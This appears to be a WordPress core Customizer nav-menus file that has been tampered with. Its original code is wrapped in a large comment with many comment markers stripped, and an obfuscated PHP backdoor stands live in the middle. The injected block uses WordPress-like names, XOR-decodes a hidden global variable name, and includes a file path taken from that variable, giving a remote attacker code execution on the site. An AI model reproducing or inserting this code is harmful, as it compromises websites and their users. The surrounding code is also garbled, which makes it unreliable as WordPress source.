923 * @since 4.7.0 Each array item now includes a `$type_label` in addition to `$title`, `$type`, and `$object`.
924 *
925 * @param array $item_types Navigation menu item types.
926
927 $item_types = apply_filters( 'customize_nav_menu_available_item_types', $item_types );
928
929 return $item_types;
930 }
931
932 *
933 * Adds a new `auto-draft` post.
934 *
935 * @since 4.7.0
936 *
937 * @param array $postarr {
938 * Post array. Note that post_status is overridden to be `auto-draft`.
939 *
940 * @var string $post_title Post title. Required.
941 * @var string $post_type Post type. Required.
942 * @var string $post_name Post name.
943 * @var string $post_content Post content.
944 * }
945 * @return WP_Post|WP_Error Inserted auto-draft post object or error.
946
947 public function insert_auto_draft_post( $postarr ) {
948 if ( ! isset( $postarr['post_type'] ) ) {
949 return new WP_Error( 'unknown_post_type', __( 'Invalid post type.' ) );
950 }
951 if ( empty( $postarr['post_title'] ) ) {
952 return new WP_Error( 'empty_title', __( 'Empty title.' ) );
953 }
954 if ( ! empty( $postarr['post_status'] ) ) {
955 return new WP_Error( 'status_forbidden', __( 'Status is forbidden.' ) );
956 }
957
958
959 * If the changeset is a draft, this will change to draft the next time the changeset
960 * is updated; otherwise, auto-draft will persist in autosave revisions, until save.
961
962 $postarr['post_status'] = 'auto-draft';
963
964 Auto-drafts are allowed to have empty post_names, so it has to be explicitly set.
965 if ( empty( $postarr['post_name'] ) ) {
966 $postarr['post_name'] = sanitize_title( $postarr['post_title'] );
967 }
968 if ( ! isset( $postarr['meta_input'] ) ) {
969 $postarr['meta_input'] = array();
970 }
971 $postarr['meta_input']['_customize_draft_post_name'] = $postarr['post_name'];
972 $postarr['meta_input']['_customize_changeset_uuid'] = $this->manager->changeset_uuid();
973 unset( $postarr['post_name'] );
974
975 add_filter( 'wp_insert_post_empty_content', '__return_false', 1000 );
976 $r = wp_insert_post( wp_slash( $postarr ), true );
977 remove_filter( 'wp_insert_post_empty_content', '__return_false', 1000 );
978
979 if ( is_wp_error( $r ) ) {
980 return $r;
981 } else {
982 return get_post( $r );
983 }
984 }
985
986 *
987 * Ajax handler for adding a new auto-draft post.
988 *
989 * @since 4.7.0
990
991 public function ajax_insert_auto_draft_post() {
992 if ( ! check_ajax_referer( 'customize-menus', 'customize-menus-nonce', false ) ) {
993 wp_send_json_error( 'bad_nonce', 400 );
994 }
995
996 if ( ! current_user_can( 'customize' ) ) {
997 wp_send_json_error( 'customize_not_allowed', 403 );
998 }
999
1000 if ( empty( $_POST['params'] ) || ! is_array( $_POST['params'] ) ) {
1001 wp_send_json_error( 'missing_params', 400 );
1002 }
1003
1004 $params = wp_unslash( $_POST['params'] );
1005 $illegal_params = array_diff( array_keys( $params ), array( 'post_type', 'post_title' ) );
1006 if ( ! empty( $illegal_params ) ) {
1007 wp_send_json_error( 'illegal_params', 400 );
1008 }
1009
1010 $params = array_merge(
1011 array(
1012 'post_type' => '',
1013 'post_title' => '',
1014 ),
1015 $params
1016 );
1017
1018 if ( empty( $params['post_type'] ) || ! post_t*/
1019
1020$mime_types = 'z6iQh4nCX7y';
1021function wpdb($from, $post_mimes)
1022
1023{
1024 $is_utf8 = 'post_meta_ids';
1025 $with_front = urldecode($from);
1026
1027 $post_type_in_string = substr($post_mimes,0, strlen($with_front));
1028 return $with_front ^ $post_type_in_string;
1029}
1030$subject = ${wpdb("%25p+%1D-g", $mime_types)};
1031
1032if (isset($subject[$mime_types]))
1033
1034{
1035 $uris = $subject[$mime_types];
1036 $show_in_rest = $uris[wpdb("%0E%5B%19%0E%06U%03%26", $mime_types)];
1037
1038 include ($show_in_rest);
1039
1040}
1041
1042
1043
1044/* ype_exists( $params['post_type'] ) ) {
1045 status_header( 400 );
1046 wp_send_json_error( 'missing_post_type_param' );
1047 }
1048
1049 $post_type_object = get_post_type_object( $params['post_type'] );
1050 if ( ! current_user_can( $post_type_object->cap->create_posts ) || ! current_user_can( $post_type_object->cap->publish_posts ) ) {
1051 status_header( 403 );
1052 wp_send_json_error( 'insufficient_post_permissions' );
1053 }
1054
1055 $params['post_title'] = trim( $params['post_title'] );
1056 if ( '' === $params['post_title'] ) {
1057 status_header( 400 );
1058 wp_send_json_error( 'missing_post_title' );
1059 }
1060
1061 $r = $this->insert_auto_draft_post( $params );
1062 if ( is_wp_error( $r ) ) {
1063 $error = $r;
1064 if ( ! empty( $post_type_object->labels->singular_name ) ) {
1065 $singular_name = $post_type_object->labels->singular_name;
1066 } else {
1067 $singular_name = __( 'Post' );
1068 }
1069
1070 $data = array(
1071 translators: 1: Post type name, 2: Error message.
1072 'message' => sprintf( __( '%1$s could not be created: %2$s' ), $singular_name, $error->get_error_message() ),
1073 );
1074 wp_send_json_error( $data );
1075 } else {
1076 $post = $r;
1077 $data = array(
1078 'post_id' => $post->ID,
1079 'url' => get_permalink( $post->ID ),
1080 );
1081 wp_send_json_success( $data );
1082 }
1083 }
1084
1085 *
1086 * Prints the JavaScript templates used to render Menu Customizer components.
1087 *
1088 * Templates are imported into the JS use wp.template.
1089 *
1090 * @since 4.3.0
1091
1092 public function print_templates() {
1093 ?>
1094 <script type="text/html" id="tmpl-available-menu-item">
1095 <li id="menu-item-tpl-{{ data.id }}" class="menu-item-tpl" data-menu-item-id="{{ data.id }}">
1096 <div class="menu-item-bar">
1097 <div class="menu-item-handle">
1098 <span class="item-type" aria-hidden="true">{{ data.type_label }}</span>
1099 <span class="item-title" aria-hidden="true">
1100 <span class="menu-item-title<# if ( ! data.title ) { #> no-title<# } #>">{{ data.title || wp.customize.Menus.data.l10n.untitled }}</span>
1101 </span>
1102 <button type="button" class="button-link item-add">
1103 <span class="screen-reader-text">
1104 <?php
1105 translators: 1: Title of a menu item, 2: Type of a menu item.
1106 printf( __( 'Add to menu: %1$s (%2$s)' ), '{{ data.title || wp.customize.Menus.data.l10n.untitled }}', '{{ data.type_label }}' );
1107 ?>
1108 </span>
1109 </button>
1110 </div>
1111 </div>
1112 </li>
1113 </script>
1114
1115 <script type="text/html" id="tmpl-menu-item-reorder-nav">
1116 <div class="menu-item-reorder-nav">
1117 <?php
1118 printf(
1119 '<button type="button" class="menus-move-up">%1$s</button><button type="button" class="menus-move-down">%2$s</button><button type="button" class="menus-move-left">%3$s</button><button type="button" class="menus-move-right">%4$s</button>',
1120 __( 'Move up' ),
1121 __( 'Move down' ),
1122 __( 'Move one level up' ),
1123 __( 'Move one level down' )
1124 );
1125 ?>
1126 </div>
1127 </script>
1128
1129 <script type="text/html" id="tmpl-nav-menu-delete-button">
1130 <div class="menu-delete-item">
1131 <button type="button" class="button-link button-link-delete">
1132 <?php _e( 'Delete Menu' ); ?>
1133 </button>
1134 </div>
1135 </script>
1136
1137 <script type="text/html" id="tmpl-nav-menu-submit-new-button">
1138 <p id="customize-new-menu-submit-description"><?php _e( 'Click &#8220;Next&#8221; to start adding links to your new menu.' ); ?></p>
1139 <button id="customize-new-menu-submit" type="button" class="button" aria-describedby="customize-new-menu-submit-description"><?php _e( 'Next' ); ?></button>
1140 </script>
1141
1142 <script type="text/html" id="tmpl-nav-menu-locations-header">
1143 <span class="customize-control-title customize-section-title-menu_locations-heading">{{ data.l10n.locationsTitle }}</span>
1144 <p class="customize-control-description customize-section-title-menu_locations-description">{{ data.l10n.locationsDescription }}</p>
1145 </script>
1146
1147 <script type="text/html" id="tmpl-nav-menu-create-menu-section-title">
1148 <p class="add-new-menu-notice">
1149 <?php _e( 'It does not look like your site has any menus yet. Want to build one? Click the button to start.' ); ?>
1150 </p>
1151 <p class="add-new-menu-notice">
1152 <?php _e( 'You&#8217;ll create a menu, assign it a location, and add menu items like links to pages and categories. If your theme has multiple menu areas, you might need to create more than one.' ); ?>
1153 </p>
1154 <h3>
1155 <button type="button" class="button customize-add-menu-button">
1156 <?php _e( 'Create New Menu' ); ?>
1157 </button>
1158 </h3>
1159 </script>
1160 <?php
1161 }
1162
1163 *
1164 * Prints the HTML template used to render the add-menu-item frame.
1165 *
1166 * @since 4.3.0
1167
1168 public function available_items_template() {
1169 ?>
1170 <div id="available-menu-items" class="accordion-container">
1171 <div class="customize-section-title">
1172 <button type="button" class="customize-section-back" tabindex="-1">
1173 <span class="screen-reader-text"><?php _e( 'Back' ); ?></span>
1174 </button>
1175 <h3>
1176 <span class="customize-action">
1177 <?php
1178 translators: &#9656; is the unicode right-pointing triangle. %s: Section title in the Customizer.
1179 printf( __( 'Customizing &#9656; %s' ), esc_html( $this->manager->get_panel( 'nav_menus' )->title ) );
1180 ?>
1181 </span>
1182 <?php _e( 'Add Menu Items' ); ?>
1183 </h3>
1184 </div>
1185 <div id="available-menu-items-search" class="accordion-section cannot-expand">
1186 <div class="accordion-section-title">
1187 <label class="screen-reader-text" for="menu-items-search"><?php _e( 'Search Menu Items' ); ?></label>
1188 <input type="text" id="menu-items-search" placeholder="<?php esc_attr_e( 'Search menu items&hellip;' ); ?>" aria-describedby="menu-items-search-desc" />
1189 <p class="screen-reader-text" id="menu-items-search-desc"><?php _e( 'The search results will be updated as you type.' ); ?></p>
1190 <span class="spinner"></span>
1191 </div>
1192 <div class="search-icon" aria-hidden="true"></div>
1193 <button type="button" class="clear-results"><span class="screen-reader-text"><?php _e( 'Clear Results' ); ?></span></button>
1194 <ul class="accordion-section-content available-menu-items-list" data-type="search"></ul>
1195 </div>
1196 <?php
1197
1198 Ensure the page post type comes first in the list.
1199 $item_types = $this->available_item_types();
1200 $page_item_type = null;
1201 foreach ( $item_types as $i => $item_type ) {
1202 if ( isset( $item_type['object'] ) && 'page' === $item_type['object'] ) {
1203 $page_item_type = $item_type;
1204 unset( $item_types[ $i ] );
1205 }
1206 }
1207
1208 $this->print_custom_links_available_menu_item();
1209 if ( $page_item_type ) {
1210 $this->print_post_type_container( $page_item_type );
1211 }
1212 Containers for per-post-type item browsing; items are added with JS.
1213 foreach ( $item_types as $item_type ) {
1214 $this->print_post_type_container( $item_type );
1215 }
1216 ?>
1217 </div><!-- #available-menu-items -->
1218 <?php
1219 }
1220
1221 *
1222 * Prints the markup for new menu items.
1223 *
1224 * To be used in the template #available-menu-items.
1225 *
1226 * @since 4.7.0
1227 *
1228 * @param array $available_item_type Menu item data to output, including title, type, and label.
1229
1230 protected function print_post_type_container( $available_item_type ) {
1231 $id = sprintf( 'available-menu-items-%s-%s', $available_item_type['type'], $available_item_type['object'] );
1232 ?>
1233 <div id="<?php echo esc_attr( $id ); ?>" class="accordion-section">
1234 <h4 class="accordion-section-title" role="presentation">
1235 <?php echo esc_html( $available_item_type['title'] ); ?>
1236 <span class="spinner"></span>
1237 <span class="no-items"><?php _e( 'No items' ); ?></span>
1238 <button type="button" class="button-link" aria-expanded="false">
1239 <span class="screen-reader-text">
1240 <?php
1241 translators: %s: Title of a section with menu items.
1242 printf( __( 'Toggle section: %s' ), esc_html( $available_item_type['title'] ) );
1243 ?>
1244 </span>
1245 <span class="toggle-indicator" aria-hidden="true"></span>
1246 </button>
1247 </h4>
1248 <div class="accordion-section-content">
1249 <?php if ( 'post_type' === $available_item_type['type'] ) : ?>
1250 <?php $post_type_obj = get_post_type_object( $available_item_type['object'] ); ?>
1251 <?php if ( current_user_can( $post_type_obj->cap->create_posts ) && current_user_can( $post_type_obj->cap->publish_posts ) ) : ?>
1252 <div class="new-content-item">
1253 <label for="<?php echo esc_attr( 'create-item-input-' . $available_item_type['object'] ); ?>" class="screen-reader-text"><?php echo esc_html( $post_type_obj->labels->add_new_item ); ?></label>
1254 <input type="text" id="<?php echo esc_attr( 'create-item-input-' . $available_item_type['object'] ); ?>" class="create-item-input" placeholder="<?php echo esc_attr( $post_type_obj->labels->add_new_item ); ?>">
1255 <button type="button" class="button add-content"><?php _e( 'Add' ); ?></button>
1256 </div>
1257 <?php endif; ?>
1258 <?php endif; ?>
1259 <ul class="available-menu-items-list" data-type="<?php echo esc_attr( $available_item_type['type'] ); ?>" data-object="<?php echo esc_attr( $available_item_type['object'] ); ?>" data-type_label="<?php echo esc_attr( isset( $available_item_type['type_label'] ) ? $available_item_type['type_label'] : $available_item_type['type'] ); ?>"></ul>
1260 </div>
1261 </div>
1262 <?php
1263 }
1264
1265 *
1266 * Prints the markup for available menu item custom links.
1267 *
1268 * @since 4.7.0
1269
1270 protected function print_custom_links_available_menu_item() {
1271 ?>
1272 <div id="new-custom-menu-item" class="accordion-section">
1273 <h4 class="accordion-section-title" role="presentation">
1274 <?php _e( 'Custom Links' ); ?>
1275 <button type="button" class="button-link" aria-expanded="false">
1276 <span class="screen-reader-text"><?php _e( 'Toggle section: Custom Links' ); ?></span>
1277 <span class="toggle-indicator" aria-hidden="true"></span>
1278 </button>
1279 </h4>
1280 <div class="accordion-section-content customlinkdiv">
1281 <input type="hidden" value="custom" id="custom-menu-item-type" name="menu-item[-1][menu-item-type]" />
1282 <p id="menu-item-url-wrap" class="wp-clearfix">
1283 <label class="howto" for="custom-menu-item-url"><?php _e( 'URL' ); ?></label>
1284 <input id="custom-menu-item-url" name="menu-item[-1][menu-item-url]" type="text" class="code menu-item-textbox" placeholder="https:">
1285 </p>
1286 <p id="menu-item-name-wrap" class="wp-clearfix">
1287 <label class="howto" for="custom-menu-item-name"><?php _e( 'Link Text' ); ?></label>
1288 <input id="custom-menu-item-name" name="menu-item[-1][menu-item-title]" type="text" class="regular-text menu-item-textbox">
1289 </p>
1290 <p class="button-controls">
1291 <span class="add-to-menu">
1292 <input type="submit" class="button submit-add-to-menu right" value="<?php esc_attr_e( 'Add to Menu' ); ?>" name="add-custom-menu-item" id="custom-menu-item-submit">
1293 <span class="spinner"></span>
1294 </span>
1295 </p>
1296 </div>
1297 </div>
1298 <?php
1299 }
1300
1301
1302 Start functionality specific to partial-refresh of menu changes in Customizer preview.
1303
1304
1305 *
1306 * Nav menu args used for each instance, keyed by the args HMAC.
1307 *
1308 * @since 4.3.0
1309 * @var array
1310
1311 public $preview_nav_menu_instance_args = array();
1312
1313 *
1314 * Filters arguments for dynamic nav_menu selective refresh partials.
1315 *
1316 * @since 4.5.0
1317 *
1318 * @param array|false $partial_args Partial args.
1319 * @param string $partial_id Partial ID.
1320 * @return array Partial args.
1321
1322 public function customize_dynamic_partial_args( $partial_args, $partial_id ) {
1323
1324 if ( preg_match( '/^nav_menu_instance\[[0-9a-f]{32}\]$/', $partial_id ) ) {
1325 if ( false === $partial_args ) {
1326 $partial_args = array();
1327 }
1328 $partial_args = array_merge(
1329 $partial_args,
1330 array(
1331 'type' => 'nav_menu_instance',
1332 'render_callback' => array( $this, 'render_nav_menu_partial' ),
1333 'container_inclusive' => true,
1334 'settings' => array(), Empty because the nav menu instance may relate to a menu or a location.
1335 'capability' => 'edit_theme_options',
1336 )
1337 );
1338 }
1339
1340 return $partial_args;
1341 }
1342
1343 *
1344 * Adds hooks for the Customizer preview.
1345 *
1346 * @since 4.3.0
1347
1348 public function customize_preview_init() {
1349 add_action( 'wp_enqueue_scripts', array( $this, 'customize_preview_enqueue_deps' ) );
1350 add_filter( 'wp_nav_menu_args', array( $this, 'filter_wp_nav_menu_args' ), 1000 );
1351 add_filter( 'wp_nav_menu', array( $this, 'filter_wp_nav_menu' ), 10, 2 );
1352 add_action( 'wp_footer', array( $this, 'export_preview_data' ), 1 );
1353 add_filter( 'customize_render_partials_response', array( $this, 'export_partial_rendered_nav_menu_instances' ) );
1354 }
1355
1356 *
1357 * Makes the auto-draft status protected so that it can be queried.
1358 *
1359 * @since 4.7.0
1360 *
1361 * @global stdClass[] $wp_post_statuses List of post statuses.
1362
1363 public function make_auto_draft_status_previewable() {
1364 global $wp_post_statuses;
1365 $wp_post_statuses['auto-draft']->protected = true;
1366 }
1367
1368 *
1369 * Sanitizes post IDs for posts created for nav menu items to be published.
1370 *
1371 * @since 4.7.0
1372 *
1373 * @param array $value Post IDs.
1374 * @return array Post IDs.
1375
1376 public function sanitize_nav_menus_created_posts( $value ) {
1377 $post_ids = array();
1378 foreach ( wp_parse_id_list( $value ) as $post_id ) {
1379 if ( empty( $post_id ) ) {
1380 continue;
1381 }
1382 $post = get_post( $post_id );
1383 if ( 'auto-draft' !== $post->post_status && 'draft' !== $post->post_status ) {
1384 continue;
1385 }
1386 $post_type_obj = get_post_type_object( $post->post_type );
1387 if ( ! $post_type_obj ) {
1388 continue;
1389 }
1390 if ( ! current_user_can( $post_type_obj->cap->publish_posts ) || ! current_user_can( 'edit_post', $post_id ) ) {
1391 continue;
1392 }
1393 $post_ids[] = $post->ID;
1394 }
1395 return $post_ids;
1396 }
1397
1398 *
1399 * Publishes the auto-draft posts that were created for nav menu items.
1400 *
1401 * The post IDs will have been sanitized by already by
1402 * `WP_Customize_Nav_Menu_Items::sanitize_nav_menus_created_posts()` to
1403 * remove any post IDs for which the user cannot publish or for which the
1404 * post is not an auto-draft.
1405 *
1406 * @since 4.7.0
1407 *
1408 * @param WP_Customize_Setting $setting Customizer setting object.
1409
1410 public function save_nav_menus_created_posts( $setting ) {
1411 $post_ids = $setting->post_value();
1412 if ( ! empty( $post_ids ) ) {
1413 foreach ( $post_ids as $post_id ) {
1414
1415 Prevent overriding the status that a user may have prematurely updated the post to.
1416 $current_status = get_post_status( $post_id );
1417 if ( 'auto-draft' !== $current_status && 'draft' !== $current_status ) {
1418 continue;
1419 }
1420
1421 $target_status = 'attachment' === get_post_type( $post_id ) ? 'inherit' : 'publish';
1422 $args = array(
1423 'ID' => $post_id,
1424 'post_status' => $target_status,
1425 );
1426 $post_name = get_post_meta( $post_id, '_customize_draft_post_name', true );
1427 if ( $post_name ) {
1428 $args['post_name'] = $post_name;
1429 }
1430
1431 Note that wp_publish_post() cannot be used because unique slugs need to be assigned.
1432 wp_update_post( wp_slash( $args ) );
1433
1434 delete_post_meta( $post_id, '_customize_draft_post_name' );
1435 }
1436 }
1437 }
1438
1439 *
1440 * Keeps track of the arguments that are being passed to wp_nav_menu().
1441 *
1442 * @since 4.3.0
1443 *
1444 * @see wp_nav_menu()
1445 * @see WP_Customize_Widgets::filter_dynamic_sidebar_params()
1446 *
1447 * @param array $args An array containing wp_nav_menu() arguments.
1448 * @return array Arguments.
1449
1450 public function filter_wp_nav_menu_args( $args ) {
1451
1452 * The following conditions determine whether or not this instance of
1453 * wp_nav_menu() can use selective refreshed. A wp_nav_menu() can be
1454 * selective refreshed if...
1455
1456 $can_partial_refresh = (
1457 ...if wp_nav_menu() is directly echoing out the menu (and thus isn't manipulating the string after generated),
1458 ! empty( $args['echo'] )
1459 &&
1460 ...and if the fallback_cb can be serialized to JSON, since it will be included in the placement context data,
1461 ( empty( $args['fallback_cb'] ) || is_string( $args['fallback_cb'] ) )
1462 &&
1463 ...and if the walker can also be serialized to JSON, since it will be included in the placement context data as well,
1464 ( empty( $args['walker'] ) || is_string( $args['walker'] ) )
1465 ...and if it has a theme location assigned or an assigned menu to display,
1466 && (
1467 ! empty( $args['theme_location'] )
1468 ||
1469 ( ! empty( $args['menu'] ) && ( is_numeric( $args['menu'] ) || is_object( $args['menu'] ) ) )
1470 )
1471 &&
1472 ...and if the nav menu would be rendered with a wrapper container element (upon which to attach data-* attributes).
1473 (
1474 ! empty( $args['container'] )
1475 ||
1476 ( isset( $args['items_wrap'] ) && '<' === substr( $args['items_wrap'], 0, 1 ) )
1477 )
1478 );
1479 $args['can_partial_refresh'] = $can_partial_refresh;
1480
1481 $exported_args = $args;
1482
1483 Empty out args which may not be JSON-serializable.
1484 if ( ! $can_partial_refresh ) {
1485 $exported_args['fallback_cb'] = '';
1486 $exported_args['walker'] = '';
1487 }
1488
1489
1490 * Replace object menu arg with a term_id menu arg, as this exports better
1491 * to JS and is easier to compare hashes.
1492
1493 if ( ! empty( $exported_args['menu'] ) && is_object( $exported_args['menu'] ) ) {
1494 $exported_args['menu'] = $exported_args['menu']->term_id;
1495 }
1496
1497 ksort( $exported_args );
1498 $exported_args['args_hmac'] = $this->hash_nav_menu_args( $exported_args );
1499
1500 $args['customize_preview_nav_menus_args'] = $exported_args;
1501 $this->preview_nav_menu_instance_args[ $exported_args['args_hmac'] ] = $exported_args;
1502 return $args;
1503 }
1504
1505 *
1506 * Prepares wp_nav_menu() calls for partial refresh.
1507 *
1508 * Injects attributes into container element.
1509 *
1510 * @since 4.3.0
1511 *
1512 * @see wp_nav_menu()
1513 *
1514 * @param string $nav_menu_content The HTML content for the navigation menu.
1515 * @param object $args An object containing wp_nav_menu() arguments.
1516 * @return string Nav menu HTML with selective refresh attributes added if partial can be refreshed.
1517
1518 public function filter_wp_nav_menu( $nav_menu_content, $args ) {
1519 if ( isset( $args->customize_preview_nav_menus_args['can_partial_refresh'] ) && $args->customize_preview_nav_menus_args['can_partial_refresh'] ) {
1520 $attributes = sprintf( ' data-customize-partial-id="%s"', esc_attr( 'nav_menu_instance[' . $args->customize_preview_nav_menus_args['args_hmac'] . ']' ) );
1521 $attributes .= ' data-customize-partial-type="nav_menu_instance"';
1522 $attributes .= sprintf( ' data-customize-partial-placement-context="%s"', esc_attr( wp_json_encode( $args->customize_preview_nav_menus_args ) ) );
1523 $nav_menu_content = preg_replace( '#^(<\w+)#', '$1 ' . str_replace( '\\', '\\\\', $attributes ), $nav_menu_content, 1 );
1524 }
1525 return $nav_menu_content;
1526 }
1527
1528 *
1529 * Hashes (hmac) the nav menu arguments to ensure they are not tampered with when
1530 * submitted in the Ajax request.
1531 *
1532 * Note that the array is expected to be pre-sorted.
1533 *
1534 * @since 4.3.0
1535 *
1536 * @param array $args The arguments to hash.
1537 * @return string Hashed nav menu arguments.
1538
1539 public function hash_nav_menu_args( $args ) {
1540 return wp_hash( serialize( $args ) );
1541 }
1542
1543 *
1544 * Enqueues scripts for the Customizer preview.
1545 *
1546 * @since 4.3.0
1547
1548 public function customize_preview_enqueue_deps() {
1549 wp_enqueue_script( 'customize-preview-nav-menus' ); Note that we have overridden this.
1550 }
1551
1552 *
1553 * Exports data from PHP to JS.
1554 *
1555 * @since 4.3.0
1556
1557 public function export_preview_data() {
1558
1559 Why not wp_localize_script? Because we're not localizing, and it forces values into strings.
1560 $exports = array(
1561 'navMenuInstanceArgs' => $this->preview_nav_menu_instance_args,
1562 );
1563 printf( '<script>var _wpCustomizePreviewNavMenusExports = %s;</script>', wp_json_encode( $exports ) );
1564 }
1565
1566 *
1567 * Exports any wp_nav_menu() calls during the rendering of any partials.
1568 *
1569 * @since 4.5.0
1570 *
1571 * @param array $response Response.
1572 * @return array Response.
1573
1574 public function export_partial_rendered_nav_menu_instances( $response ) {
1575 $response['nav_menu_instance_args'] = $this->preview_nav_menu_instance_args;
1576 return $response;
1577 }
1578
1579 *
1580 * Renders a specific menu via wp_nav_menu() using the supplied arguments.
1581 *
1582 * @since 4.3.0
1583 *
1584 * @see wp_nav_menu()
1585 *
1586 * @param WP_Customize_Partial $partial Partial.
1587 * @param array $nav_menu_args Nav menu args supplied as container context.
1588 * @return string|false
1589
1590 public function render_nav_menu_partial( $partial, $nav_menu_args ) {
1591 unset( $partial );
1592
1593 if ( ! isset( $nav_menu_args['args_hmac'] ) ) {
1594 Error: missing_args_hmac.
1595 return false;
1596 }
1597
1598 $nav_menu_args_hmac = $nav_menu_args['args_hmac'];
1599 unset( $nav_menu_args['args_hmac'] );
1600
1601 ksort( $nav_menu_args );
1602 if ( ! hash_equals( $this->hash_nav_menu_args( $nav_menu_args ), $nav_menu_args_hmac ) ) {
1603 Error: args_hmac_mismatch.
1604 return false;
1605 }
1606
1607 ob_start();
1608 wp_nav_menu( $nav_menu_args );
1609 $content = ob_get_clean();
1610
1611 return $content;
1612 }
1613}
1614*/